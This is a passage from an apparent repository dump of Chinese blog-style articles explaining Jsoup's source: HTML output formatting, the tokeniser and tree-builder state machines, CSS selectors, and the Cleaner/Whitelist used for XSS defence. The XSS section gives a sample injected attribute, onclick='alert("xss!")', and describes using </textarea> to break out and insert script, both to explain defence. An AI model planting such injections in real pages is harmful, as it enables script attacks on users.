    "content": "Jsoup代码解读之三-Document的输出\n-------\n\nJsoup官方说明里，一个重要的功能就是***output tidy HTML***。这里我们看看Jsoup是如何输出HTML的。\n\n## HTML相关知识\n\n分析代码前，我们不妨先想想，\"tidy HTML\"到底包括哪些东西：\n\n* 换行，块级标签习惯上都会独占一行\n* 缩进，根据HTML标签嵌套层数，行首缩进会不同\n* 严格的标签闭合，如果是可以自闭合的标签并且没有内容，则进行自闭合\n* HTML实体的转义\n\n这里要补充一下HTML标签的知识。HTML Tag可以分为block和inline两类。关于Tag的inline和block的定义可以参考[http://www.w3schools.com/html/html_blocks.asp](http://www.w3schools.com/html/html_blocks.asp)，而Jsoup的`Tag`类则是对Java开发者非常好的学习资料。\n\n```java\n    // internal static initialisers:\n    // prepped from http://www.w3.org/TR/REC-html40/sgml/dtd.html and other sources\n    //block tags，需要换行\n    private static final String[] blockTags = {\n            \"html\", \"head\", \"body\", \"frameset\", \"script\", \"noscript\", \"style\", \"meta\", \"link\", \"title\", \"frame\",\n            \"noframes\", \"section\", \"nav\", \"aside\", \"hgroup\", \"header\", \"footer\", \"p\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\",\n            \"ul\", \"ol\", \"pre\", \"div\", \"blockquote\", \"hr\", \"address\", \"figure\", \"figcaption\", \"form\", \"fieldset\", \"ins\",\n            \"del\", \"s\", \"dl\", \"dt\", \"dd\", \"li\", \"table\", \"caption\", \"thead\", \"tfoot\", \"tbody\", \"colgroup\", \"col\", \"tr\", \"th\",\n            \"td\", \"video\", \"audio\", \"canvas\", \"details\", \"menu\", \"plaintext\"\n    };\n    //inline tags，无需换行\n    private static final String[] inlineTags = {\n            \"object\", \"base\", \"font\", \"tt\", \"i\", \"b\", \"u\", \"big\", \"small\", \"em\", \"strong\", \"dfn\", \"code\", \"samp\", \"kbd\",\n            \"var\", \"cite\", \"abbr\", \"time\", \"acronym\", \"mark\", \"ruby\", \"rt\", \"rp\", \"a\", \"img\", \"br\", \"wbr\", \"map\", \"q\",\n            \"sub\", \"sup\", \"bdo\", \"iframe\", \"embed\", \"span\", \"input\", \"select\", \"textarea\", \"label\", \"button\", \"optgroup\",\n            \"option\", \"legend\", \"datalist\", \"keygen\", \"output\", \"progress\", \"meter\", \"area\", \"param\", \"source\", \"track\",\n            \"summary\", \"command\", \"device\"\n    };\n    //emptyTags是不能有内容的标签，这类标签都是可以自闭合的\n    private static final String[] emptyTags = {\n            \"meta\", \"link\", \"base\", \"frame\", \"img\", \"br\", \"wbr\", \"embed\", \"hr\", \"input\", \"keygen\", \"col\", \"command\",\n            \"device\"\n    };\n    private static final String[] formatAsInlineTags = {\n            \"title\", \"a\", \"p\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\", \"pre\", \"address\", \"li\", \"th\", \"td\", \"script\", \"style\",\n            \"ins\", \"del\", \"s\"\n    };\n    //在这些标签里，需要保留空格\n    private static final String[] preserveWhitespaceTags = {\n            \"pre\", \"plaintext\", \"title\", \"textarea\"\n    };\n```\n\n另外，Jsoup的`Entities`类里包含了一些HTML实体转义的东西。这些转义的对应数据保存在`entities-full.properties`和`entities-base.properties`里。\n\n## Jsoup的格式化实现\n\n在Jsoup里，直接调用`Document.toString()`(继承自Element)，即可对文档进行输出。另外`OutputSettings`可以控制输出格式，主要是`prettyPrint`(是否重新格式化)、`outline`(是否强制所有标签换行)、`indentAmount`(缩进长度)等。\n\n里面的继承和互相调用关系略微复杂，大概是这样子：\n\n`Document.toString()`=>`Document.outerHtml()`=>`Element.html()`，最终`Element.html()`又会循环调用所有子元素的`outerHtml()`，拼接起来作为输出。\n\n```java\n    private void html(StringBuilder accum) {\n        for (Node node : childNodes)\n            node.outerHtml(accum);\n    }\n```\n\n而`outerHtml()`会使用一个`OuterHtmlVisitor`对所以子节点做遍历，并拼装起来作为结果。\n\n```java\n\tprotected void outerHtml(StringBuilder accum) {\n        new NodeTraversor(new OuterHtmlVisitor(accum, getOutputSettings())).traverse(this);\n    }\n```\n\nOuterHtmlVisitor会对所有子节点做遍历，并调用`node.outerHtmlHead()`和`node.outerHtmlTail`两个方法。\n    \n```java\n    private static class OuterHtmlVisitor implements NodeVisitor {\n        private StringBuilder accum;\n        private Document.OutputSettings out;\n\n        public void head(Node node, int depth) {\n            node.outerHtmlHead(accum, depth, out);\n        }\n\n        public void tail(Node node, int depth) {\n            if (!node.nodeName().equals(\"#text\")) // saves a void hit.\n                node.outerHtmlTail(accum, depth, out);\n        }\n    }\n```\n\n我们终于找到了真正工作的代码，`node.outerHtmlHead()`和`node.outerHtmlTail`。Jsoup里每种Node的输出方式都不太一样，这里只讲讲两种主要节点：`Element`和`TextNode`。`Element`是格式化的主要对象，它的两个方法代码如下：\n\n```java\n    void outerHtmlHead(StringBuilder accum, int depth, Document.OutputSettings out) {\n        if (accum.length() > 0 && out.prettyPrint()\n                && (tag.formatAsBlock() || (parent() != null && parent().tag().formatAsBlock()) || out.outline()) )\n            //换行并调整缩进\n            indent(accum, depth, out);\n        accum\n                .append(\"<\")\n                .append(tagName());\n        attributes.html(accum, out);\n\n        if (childNodes.isEmpty() && tag.isSelfClosing())\n            accum.append(\" />\");\n        else\n            accum.append(\">\");\n    }\n\n    void outerHtmlTail(StringBuilder accum, int depth, Document.OutputSettings out) {\n        if (!(childNodes.isEmpty() && tag.isSelfClosing())) {\n            if (out.prettyPrint() && (!childNodes.isEmpty() && (\n                    tag.formatAsBlock() || (out.outline() && (childNodes.size()>1 || (childNodes.size()==1 && !(childNodes.get(0) instanceof TextNode))))\n            )))\n                //换行并调整缩进\n                indent(accum, depth, out);\n            accum.append(\"</\").append(tagName()).append(\">\");\n        }\n    }\n```\n\n而ident方法的代码只有一行：\n\n```java\n    protected void indent(StringBuilder accum, int depth, Document.OutputSettings out) {\n        //out.indentAmount()是缩进长度，默认是1\n        accum.append(\"\\n\").append(StringUtil.padding(depth * out.indentAmount()));\n    }\n```\n    \n代码简单明了，就没什么好说的了。值得一提的是，`StringUtil.padding()`方法为了减少字符串生成，把常用的缩进保存到了一个数组中。\n\n好了，水了一篇文章，下一篇将比较有技术含量的parser部分。\n\n另外，通过本节的学习，我们学到了要把StringBuilder命名为**accum**，而不是**sb**。"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup4.md",
    "content": "Jsoup代码解读之四-parser(上)\n-------\n作为Java世界最好的HTML 解析库，Jsoup的parser实现非常具有代表性。这部分也是Jsoup最复杂的部分，需要一些数据结构、状态机乃至编译器的知识。好在HTML语法不复杂，解析只是到DOM树为止，所以作为编译器入门倒是挺合适的。这一块不要指望囫囵吞枣，我们还是泡一杯咖啡，细细品味其中的奥妙吧。\n\n## 基础知识\n\n### 编译器\n\n将计算机语言转化为另一种计算机语言(通常是更底层的语言，例如机器码、汇编、或者JVM字节码)的过程就叫做编译(compile)。编译器(Compiler)是计算机科学的一个重要领域，已经有很多年历史了，而最近各种通用语言层出不穷，加上跨语言编译的兴起、DSL概念的流行，都让编译器变成了一个很时髦的东西。\n\n编译器领域相关有三本公认的经典书籍，龙书[《Compilers: Principles, Techniques, and Tools 》](http://book.douban.com/subject/1866231/)，虎书[《Modern Compiler Implementation in X (X表示各种语言)》](http://book.douban.com/subject/1923484/)，鲸书[《Advanced Compiler Design and Implementation》](http://book.douban.com/subject/1821532/)。其中龙书是编译理论方面公认的不二之选，而后面两本则对实践更有指导意义。另外[@装配脑袋](http://www.cnblogs.com/Ninputer)有个很好的编译器入门系列博客：[http://www.cnblogs.com/Ninputer/archive/2011/06/07/2074632.html](http://www.cnblogs.com/Ninputer/archive/2011/06/07/2074632.html)\n\n编译器的基本流程如下：\n\n![compiler][1]\n\n其中词法分析、语法分析、语义分析这部分又叫编译器的前端(front-end)，而此后的中间代码生成直到目标生成、优化等属于编译器的后端(back-end)。编译器的前端技术已经很成熟了，也有yacc这样的工具来自动进行词法、语法分析(Java里也有一个类似的工具ANTLR)，而后端技术更加复杂，也是目前编译器研究的重点。\n\n说了这么多，回到咱们的HTML上来。HTML是一种声明式的语言，可以理解它的最终的输出是浏览器里图形化的页面，而并非可执行的目标语言，因此我将这里的Translate改为了Render。\n\n![html compiler][2]\n\n在Jsoup(包括类似的HTML parser)里，只做了Lex(词法分析)、Parse(语法分析)两步，而HTML parse最终产出结果，就是DOM树。至于HTML的语义解析以及渲染，不妨看看携程UED团队的这篇文章：[《浏览器是怎样工作的：渲染引擎，HTML解析》](http://ued.ctrip.com/blog/?p=3295)。\n\n### 状态机\n\nJsoup的词法分析和语法分析都用到了状态机。状态机可以理解为一个特殊的程序模型，例如经常跟我们打交道的正则表达式就是用状态机实现的。\n\n它由状态(state)和转移(transition)两部分构成。根据状态转移的可能性，状态机又分为DFA(确定有限状态机)和NFA(非确定有限状态自动机)。这里拿一个最简单的正则表达式\"a[b]*\"作为例子，我们先把它映射到一个状态机DFA，大概是这样子：\n\n![state machine][3]\n\n状态机本身是一个编程模型，这里我们尝试用程序去实现它，那么最直接的方式大概是这样：\n\n```java\n    public void process(StringReader reader) throws StringReader.EOFException {\n        char ch;\n        switch (state) {\n            case Init:\n                ch = reader.read();\n                if (ch == 'a') {\n                    state = State.AfterA;\n                    accum.append(ch);\n                }\n                break;\n            case AfterA:\n                ...\n                break;\n            case AfterB:\n                ...\n                break;\n            case Accept:\n                ...\n                break;\n        }\n    }\n```\n\n这样写简单的状态机倒没有问题，但是复杂情况下就有点难受了。还有一种标准的状态机解法，先建立状态转移表，然后使用这个表建立状态机。这个方法的问题就是，只能做纯状态转移，无法在代码级别操作输入输出。\n\nJsoup里则使用了状态模式来实现状态机，初次看到时，确实让人眼前一亮。状态模式是设计模式的一种，它将状态和对应的行为绑定在一起。而在状态机的实现过程中，使用它来实现状态转移时的处理再合适不过了。\n\n\"a[b]*\"的例子的状态模式实现如下，这里采用了与Jsoup相同的方式，用到了枚举来实现状态模式：\n\n```java\n    public class StateModelABStateMachine implements ABStateMachine {\n\n        State state;\n\n        StringBuilder accum;\n\n        enum State {\n            Init {\n                @Override\n                public void process(StateModelABStateMachine stateModelABStateMachine, StringReader reader) throws StringReader.EOFException {\n                    char ch = reader.read();\n                    if (ch == 'a') {\n                        stateModelABStateMachine.state = AfterA;\n                        stateModelABStateMachine.accum.append(ch);\n                    }\n                }\n            },\n            Accept {\n                ...\n            },\n            AfterA {\n                ...\n            },\n            AfterB {\n                ...\n            };\n\n            public void process(StateModelABStateMachine stateModelABStateMachine, StringReader reader) throws StringReader.EOFException {\n            }\n        }\n\n        public void process(StringReader reader) throws StringReader.EOFException {\n            state.process(this, reader);\n        }\n    }\n```\n\n本文中提到的几种状态机的完整实现在这个仓库的[https://github.com/code4craft/jsoup-learning/tree/master/src/main/java/us/codecraft/learning/automata](https://github.com/code4craft/jsoup-learning/tree/master/src/main/java/us/codecraft/learning/automata)路径下。\n\n下一篇文章将从Jsoup的词法分析器开始来讲状态机的使用。\n\n\n\n  [1]: http://static.oschina.net/uploads/space/2013/0828/081055_j2Xy_190591.png\n  [2]: http://static.oschina.net/uploads/space/2013/0828/103726_uejc_190591.png\n  [3]: http://static.oschina.net/uploads/space/2013/0828/131113_nyHh_190591.png"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup5.md",
    "content": "Jsoup代码解读之五-parser(中)\n-------\n上一篇文章讲到了状态机和词法分析的基本知识，这一节我们来分析Jsoup是如何进行词法分析的。\n\n## 代码结构\n\n先介绍以下parser包里的主要类：\n\n* `Parser`\n\n\tJsoup parser的入口facade，封装了常用的parse静态方法。可以设置`maxErrors`，用于收集错误记录，默认是0，即不收集。与之相关的类有`ParseError`,`ParseErrorList`。基于这个功能，我写了一个[`PageErrorChecker`](https://github.com/code4craft/jsoup-learning/tree/master/src/main/java/us/codecraft/learning/parser)来对页面做语法检查，并输出语法错误。\n\n* `Token` \n\t\n\t保存单个的词法分析结果。Token是一个抽象类，它的实现有`Doctype`,`StartTag`,`EndTag`,`Comment`,`Character`,`EOF`6种，对应6种词法类型。\n\t\n* `Tokeniser` \n\n\t保存词法分析过程的状态及结果。比较重要的两个字段是`state`和`emitPending`，前者保存状态，后者保存输出。其次还有`tagPending`/`doctypePending`/`commentPending`，保存还没有填充完整的Token。\n\t\n* `CharacterReader`\n\n\t对读取字符的逻辑的封装，用于Tokenize时候的字符输入。CharacterReader包含了类似NIO里ByteBuffer的`consume()`、`unconsume()`、`mark()`、`rewindToMark()`，还有高级的`consumeTo()`这样的用法。\n\t\n* `TokeniserState`\n\n \t用枚举实现的词法分析状态机。\n \t\n* `HtmlTreeBuilder`\n\n\t语法分析，通过token构建DOM树的类。\n\t\n* `HtmlTreeBuilderState`\n\n\t语法分析状态机。\n \t\n* `TokenQueue`\n\n\t虽然披了个Token的马甲，其实是在query的时候用到，留到select部分再讲。\n\n## 词法分析状态机\n\n现在我们来讲讲HTML的词法分析过程。这里借用一下[http://ued.ctrip.com/blog/?p=3295](http://ued.ctrip.com/blog/?p=3295)里的图，图中描述了一个Tag标签的状态转移过程，\n\n![lexer][1]\n\n这里忽略了HTML注释、实体以及属性，只保留基本的开始/结束标签，例如下面的HTML:\n\n\t<div>test</div>\n\nJsoup里词法分析比较复杂，我从里面抽取出了对应的部分，就成了我们的miniSoupLexer(这里省略了部分代码，完整代码可以看这里[`MiniSoupTokeniserState`](https://github.com/code4craft/jsoup-learning/blob/master/src/main/java/org/jsoup/parser/MiniSoupTokeniserState.java))：\n\n```java\n\tenum MiniSoupTokeniserState implements ITokeniserState {\n\t    /**\n\t     * 什么层级都没有的状态\n\t     * ⬇\n\t     * <div>test</div>\n\t     *      ⬇\n\t     * <div>test</div>\n\t     */\n\t    Data {\n\t        // in data state, gather characters until a character reference or tag is found\n\t        public void read(Tokeniser t, CharacterReader r) {\n\t            switch (r.current()) {\n\t                case '<':\n\t                    t.advanceTransition(TagOpen);\n\t                    break;\n\t                case eof:\n\t                    t.emit(new Token.EOF());\n\t                    break;\n\t                default:\n\t                    String data = r.consumeToAny('&', '<', nullChar);\n\t                    t.emit(data);\n\t                    break;\n\t            }\n\t        }\n\t    },\n\t    /**\n\t     * ⬇\n\t     * <div>test</div>\n\t     */\n\t    TagOpen {\n\t        ...\n\t    },\n\t    /**\n\t     *           ⬇\n\t     * <div>test</div>\n\t     */\n\t    EndTagOpen {\n\t        ...\n\t    },\n\t    /**\n\t     *  ⬇\n\t     * <div>test</div>\n\t     */\n\t    TagName {\n\t        ...\n\t    };\n\n\t}\n```\n\t\n参考这个程序，可以看到Jsoup的词法分析的大致思路。分析器本身的编写是比较繁琐的过程，涉及属性值(区分单双引号)、DocType、注释、HTML实体，以及一些错误情况。不过了解了其思路，代码实现也是按部就班的过程。\n\n下一节开始介绍语法分析部分。\n\n  [1]: http://taligarsiel.com/Projects/image019.png"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup6.md",
    "content": "Jsoup代码解读之六-parser(下)\n--------\n最近生活上有点忙，女儿老是半夜不睡，精神状态也不是很好。工作上的事情也谈不上顺心，有很多想法但是没有几个被认可，有些事情也不是说代码写得好就行的。算了，还是端正态度，毕竟资历尚浅，我还是继续我的。\n\n读Jsoup源码并非无聊，目的其实是为了将webmagic做的更好一点，毕竟parser也是爬虫的重要组成部分之一。读了代码后，收获也不少，对HTML的知识也更进一步了。\n\n## DOM树产生过程\n\n这里单独将`TreeBuilder`部分抽出来叫做语法分析过程可能稍微不妥，其实就是根据Token生成DOM树的过程，不过我还是沿用这个编译器里的称呼了。\n\n`TreeBuilder`同样是一个facade对象，真正进行语法解析的是以下一段代码：\n\t\n```java\n    protected void runParser() {\n        while (true) {\n            Token token = tokeniser.read();\n            \n            process(token);\n\n            if (token.type == Token.TokenType.EOF)\n                break;\n        }\n    }\n```\n\n`TreeBuilder`有两个子类，`HtmlTreeBuilder`和`XmlTreeBuilder`。`XmlTreeBuilder`自然是构建XML树的类，实现颇为简单，基本上是维护一个栈，并根据不同Token插入节点即可：\n\n```java\n\t@Override\n    protected boolean process(Token token) {\n        // start tag, end tag, doctype, comment, character, eof\n        switch (token.type) {\n            case StartTag:\n                insert(token.asStartTag());\n                break;\n            case EndTag:\n                popStackToClose(token.asEndTag());\n                break;\n            case Comment:\n                insert(token.asComment());\n                break;\n            case Character:\n                insert(token.asCharacter());\n                break;\n            case Doctype:\n                insert(token.asDoctype());\n                break;\n            case EOF: // could put some normalisation here if desired\n                break;\n            default:\n                Validate.fail(\"Unexpected token type: \" + token.type);\n        }\n        return true;\n    }\n```\n    \n`insertNode`的代码大致是这个样子(为了便于展示，对方法进行了一些整合)：\n\n```java\n    Element insert(Token.StartTag startTag) {\n        Tag tag = Tag.valueOf(startTag.name());\n        Element el = new Element(tag, baseUri, startTag.attributes);\n        stack.getLast().appendChild(el);\n        if (startTag.isSelfClosing()) {\n            tokeniser.acknowledgeSelfClosingFlag();\n            if (!tag.isKnownTag()) // unknown tag, remember this is self closing for output. see above.\n                tag.setSelfClosing();\n        } else {\n            stack.add(el);\n        }\n        return el;\n    }\n```\n\n## HTML解析状态机\n\n相比`XmlTreeBuilder`，`HtmlTreeBuilder`则实现较为复杂，除了类似的栈结构以外，还用到了`HtmlTreeBuilderState`来构建了一个状态机来分析HTML。这是为什么呢？不妨看看`HtmlTreeBuilderState`到底用到了哪些状态吧（在代码中中用`<!-- State: -->`标明状态）：\n\n```html\n    <!-- State: Initial -->\n    <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n    <!-- State: BeforeHtml -->\n    <html lang='zh-CN' xml:lang='zh-CN' xmlns='http://www.w3.org/1999/xhtml'>\n    <!-- State: BeforeHead -->\n    <head>\n      <!-- State: InHead -->\n      <script type=\"text/javascript\">\n      //<!-- State: Text -->\n        function xx(){\n        }\n      </script>\n      <noscript>\n        <!-- State: InHeadNoscript -->\n        Your browser does not support JavaScript!\n      </noscript>\n    </head>\n    <!-- State: AfterHead -->\n    <body>\n    <!-- State: InBody -->\n    <textarea>\n        <!-- State: Text -->\n        xxx\n    </textarea>\n    <table>\n        <!-- State: InTable -->\n        <!-- State: InTableText -->\n        xxx\n        <tbody>\n        <!-- State: InTableBody -->\n        </tbody>\n        <tr>\n            <!-- State: InRow -->\n            <td>\n                <!-- State: InCell -->\n            </td>\n        </tr>    \n    </table>\n    </html>\n```\n\n这里可以看到，HTML标签是有嵌套要求的，例如`<tr>`,`<td>`需要组合`<table>`来使用。根据Jsoup的代码，可以发现，`HtmlTreeBuilderState`做了以下一些事情：\n\n* ### 语法检查\n\t\n\t例如`tr`没有嵌套在`table`标签内，则是一个语法错误。当`InBody`状态直接出现以下tag时，则出错。Jsoup里遇到这种错误，会发现这个Token的解析并记录错误，然后继续解析下面内容，并不会直接退出。\n\t\n```java\n\t    InBody {\n\t        boolean process(Token t, HtmlTreeBuilder tb) {\n\t\t\t\tif (StringUtil.in(name,\n\t\t\t\t\"caption\", \"col\", \"colgroup\", \"frame\", \"head\", \"tbody\", \"td\", \"tfoot\", \"th\", \"thead\", \"tr\")) {\n\t\t\t\ttb.error(this);\n\t\t\t\treturn false;\n\t\t\t\t}\n\t        }\n```\n\t\n* ### 标签补全\n\n\t例如`head`标签没有闭合，就写入了一些只有body内才允许出现的标签，则自动闭合`</head>`。`HtmlTreeBuilderState`有的方法`anythingElse()`就提供了自动补全标签，例如`InHead`状态的自动闭合代码如下：\n\t\n```java\n\t        private boolean anythingElse(Token t, TreeBuilder tb) {\n\t            tb.process(new Token.EndTag(\"head\"));\n\t            return tb.process(t);\n\t        }\n```\t\n\t\n还有一种标签闭合方式，例如下面的代码：\n\t\n```java\n\t\tprivate void closeCell(HtmlTreeBuilder tb) {\n            if (tb.inTableScope(\"td\"))\n                tb.process(new Token.EndTag(\"td\"));\n            else\n                tb.process(new Token.EndTag(\"th\")); // only here if th or td in scope\n        }\n```\n\n## 实例研究\n\n### 缺少标签时，会发生什么事？\n\n好了，看了这么多parser的源码，不妨回到我们的日常应用上来。我们知道，在页面里多写一个两个未闭合的标签是很正常的事，那么它们会被怎么解析呢？\n\n就拿`<div>`标签为例：\n\n1. 漏写了开始标签，只写了结束标签\n\n\t```java\n\t\tcase EndTag:\n\t\t\tif (StringUtil.in(name,\"div\",\"dl\", \"fieldset\", \"figcaption\", \"figure\", \"footer\", \"header\", \"pre\", \"section\", \"summary\", \"ul\")) {                \n\t\t\t\tif (!tb.inScope(name)) {\n\t\t\t\ttb.error(this);\n\t\t\t\treturn false;\n\t\t\t\t} \n\t\t\t}\t\n\t```\n\t\t\t\n\t恭喜你，这个`</div>`会被当做错误处理掉，于是你的页面就毫无疑问的乱掉了！当然，如果单纯多写了一个`</div>`，好像也不会有什么影响哦？(记得有人跟我讲过为了防止标签未闭合，而在页面底部多写了几个`</div>`的故事)\n\t\n2. 写了开始标签，漏写了结束标签\n\n\t这个情况分析起来更复杂一点。如果是无法在内部嵌套内容的标签，那么在遇到不可接受的标签时，会进行闭合。而`<div>`标签可以包括大多数标签，这种情况下，其作用域会持续到HTML结束。\n\t\n好了，parser系列算是分析结束了，其间学到不少HTML及状态机内容，但是离实际使用比较远。下面开始select部分，这部分可能对日常使用更有意义一点。"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup7.md",
    "content": "Jsoup代码解读之七-实现一个CSS Selector\n-----\n\n![street fighter][1]\n\n当当当！终于来到了Jsoup的特色：CSS Selector部分。selector也是我写的爬虫框架[webmagic](https://github.com/code4craft/webmagic)开发的一个重点。附上一张street fighter的图，希望以后webmagic也能挑战Jsoup!\n\n## select机制\n\nJsoup的select包里，类结构如下：\n\n![uml][2]\n\n在最开始介绍Jsoup的时候，就已经说过`NodeVisitor`和`Selector`了。`Selector`是select部分的对外facade，而`NodeVisitor`则是遍历树的底层API，CSS Selector也是根据`NodeVisitor`实现的遍历。\n\nJsoup的select核心是`Evaluator`。Selector所传递的表达式，会经过`QueryParser`，最终编译成一个`Evaluator`。`Evaluator`是一个抽象类，它只有一个方法：\n\n```java\n\tpublic abstract boolean matches(Element root, Element element);\n```\n\n注意这里传入了root，是为了某些情况下对树进行遍历时用的。\n\nEvaluator的设计简洁明了，所有的Selector表达式单词都会编译到对应的Evaluator。例如`#xx`对应`Id`，`.xx`对应`Class`，`[]`对应`Attribute`。这里补充一下w3c的CSS Selector规范：[http://www.w3.org/TR/CSS2/selector.html](http://www.w3.org/TR/CSS2/selector.html)\n\n当然，只靠这几个还不够，Jsoup还定义了`CombiningEvaluator`(对Evaluator进行And/Or组合)，`StructuralEvaluator`(结合DOM树结构进行筛选)。\n\n这里我们可能最关心的是，“div ul li”这样的父子结构是如何实现的。这个的实现方式在`StructuralEvaluator.Parent`中，贴一下代码了：\n\n```java\n    static class Parent extends StructuralEvaluator {\n        public Parent(Evaluator evaluator) {\n            this.evaluator = evaluator;\n        }\n\n        public boolean matches(Element root, Element element) {\n            if (root == element)\n                return false;\n\n            Element parent = element.parent();\n            while (parent != root) {\n                if (evaluator.matches(root, parent))\n                    return true;\n                parent = parent.parent();\n            }\n            return false;\n        }\n    }\n```    \n\n这里Parent包含了一个`evaluator`属性，会根据这个evaluator去验证所有父节点。注意Parent是可以嵌套的，所以这个表达式\"div ul li\"最终会编译成`And(Parent(And(Parent(Tag(\"div\"))，Tag(\"ul\")),Tag(\"li\")))`这样的Evaluator组合。\n\nselect部分比想象的要简单，代码可读性也很高。经过了parser部分的研究，这部分应该算是驾轻就熟了。\n\n## 关于webmagic的后续打算\n\nwebmagic是一个爬虫框架，它的Selector是用于抓取HTML中指定的文本，其机制和Jsoup的Evaluator非常像，只不过webmagic暂时是将Selector封装成较简单的API，而Evaluator直接上了表达式。之前也考虑过自己定制DSL来写一个HTML，现在看了Jsoup的源码，实现能力算是有了，但是引入DSL，实现只是一小部分，如何让DSL易写易懂才是难点。\n\n其实看了Jsoup的源码，精细程度上比webmagic要好得多了，基本每个类都对应一个真实的概念抽象，可能以后会在这方面下点工夫。\n\n下篇文章将讲最后一部分：白名单及HTML过滤机制。\n\n[1]: http://static.oschina.net/uploads/space/2013/0830/180244_r1Vb_190591.jpg\n\n[2]: http://static.oschina.net/uploads/space/2013/0830/184337_j85b_190591.png"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup8.md",
    "content": "Jsoup代码解读之八-防御XSS攻击\n--------\n![hacker][1]\n\n## 防御XSS攻击的一般原理\n\ncleaner是Jsoup的重要功能之一，我们常用它来进行富文本输入中的XSS防御。\n\n我们知道，XSS攻击的一般方式是，通过在页面输入中嵌入一段恶意脚本，对输出时的DOM结构进行修改，从而达到执行这段脚本的目的。对于纯文本输入，过滤/转义HTML特殊字符`<`,`>`,`\"`,`'`是行之有效的办法，但是如果本身用户输入的就是一段HTML文本(例如博客文章)，这种方式就不太有效了。这个时候，就是Jsoup大显身手的时候了。\n\n在前面，我们已经知道了，Jsoup里怎么将HTML变成一棵DOM树，怎么对DOM树进行遍历，怎么对DOM文档进行输出，那么其实cleaner的实现方式，也能猜出大概了。使用Jsoup进行XSS防御，大致分为三个步骤:\n\n1. 将HTML解析为DOM树\n\n\t这一步可以过滤掉一些企图搞破坏的非闭合标签、非正常语法等。例如一些输入，会尝试用`</textarea>`闭合当前Tag，然后写入攻击脚本。而根据前面对Jsoup的parser的分析，这种时候，这些非闭合标签会被当做错误并丢弃。\n\n2. 过滤高风险标签/属性/属性值\n\n\t高风险标签是指`<script>`以及类似标签，对属性/属性值进行过滤是因为某些属性值里也可以写入javascript脚本，例如`onclick='alert(\"xss!\")'`。\n\n\n3. 重新将DOM树输出为HTML文本\n\n\tDOM树的输出，在前面(Jsoup代码解读之三)已经提到过了。\n\n## Cleaner与Whitelist\n\n对于上述的两个步骤，1、3都已经分别在parser和输出中完成，现在只剩下步骤 2：过滤高风险标签等。\n\nJsoup给出的答案是白名单。下面是`Whitelist`的部分代码。\n\n```java\npublic class Whitelist {\n    private Set<TagName> tagNames; // tags allowed, lower case. e.g. [p, br, span]\n    private Map<TagName, Set<AttributeKey>> attributes; // tag -> attribute[]. allowed attributes [href] for a tag.\n    private Map<TagName, Map<AttributeKey, AttributeValue>> enforcedAttributes; // always set these attribute values\n    private Map<TagName, Map<AttributeKey, Set<Protocol>>> protocols; // allowed URL protocols for attributes\n    private boolean preserveRelativeLinks; // option to preserve relative links\n}\n```    \n\n这里定义了标签名/属性名/属性值的白名单。\n\n而`Cleaner`是过滤的执行者。不出所料，Cleaner内部定义了`CleaningVisitor`来进行标签的过滤。CleaningVisitor的过滤过程并不改变原始DOM树的值，而是将符合条件的属性，加入到`Element destination`里去。\n\n```java\n    private final class CleaningVisitor implements NodeVisitor {\n        private int numDiscarded = 0;\n        private final Element root;\n        private Element destination; // current element to append nodes to\n\n        private CleaningVisitor(Element root, Element destination) {\n            this.root = root;\n            this.destination = destination;\n        }\n\n        public void head(Node source, int depth) {\n            if (source instanceof Element) {\n                Element sourceEl = (Element) source;\n\n                if (whitelist.isSafeTag(sourceEl.tagName())) { // safe, clone and copy safe attrs\n                    ElementMeta meta = createSafeElement(sourceEl);\n                    Element destChild = meta.el;\n                    destination.appendChild(destChild);\n\n                    numDiscarded += meta.numAttribsDiscarded;\n                    destination = destChild;\n                } else if (source != root) { // not a safe tag, so don't add. don't count root against discarded.\n                    numDiscarded++;\n                }\n            } else if (source instanceof TextNode) {\n                TextNode sourceText = (TextNode) source;\n                TextNode destText = new TextNode(sourceText.getWholeText(), source.baseUri());\n                destination.appendChild(destText);\n            } else { // else, we don't care about comments, xml proc instructions, etc\n                numDiscarded++;\n            }\n        }\n\n        public void tail(Node source, int depth) {\n            if (source instanceof Element && whitelist.isSafeTag(source.nodeName())) {\n                destination = destination.parent(); // would have descended, so pop destination stack\n            }\n        }\n    }\n```\n    \n\n## 结束语\n\n至此，Jsoup的全部模块都已经写完了。Jsoup源码并不多，只有14000多行，但是实现非常精巧，在读代码的过程中，除了相关知识，还验证几个很重要的思想：\n\n* 最好的代码抽象，是对现实概念的映射。\n\n\t这句话在看《代码大全》的时候印象很深刻。在Jsoup里，只要有相关知识，每个类的作用都能第一时间明白其作用。\n\n* 不要过度抽象\n\n\t在Jsoup里，只用到了两个接口，一个是`NodeVisitor`，一个是`Connection`，其他都是用抽象类或者直接用实现类代替。记得有次面试的时候被问到我们开发中每逢一个功能，都要先定义一个接口的做法是否必要？现在的答案是没有必要，过度的抽象反而会降低代码质量。\n\n\t另外，Jsoup的代码内聚性都很高，每个类的功能基本都定义在类的内部，这是一个典型的充血模型。同时有大量的facade使用，而避免了Factory、Configure等类的出现，个人感觉这点是非常好的。\n\n  [1]: http://static.oschina.net/uploads/space/2013/0831/071752_RBZc_190591.png"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 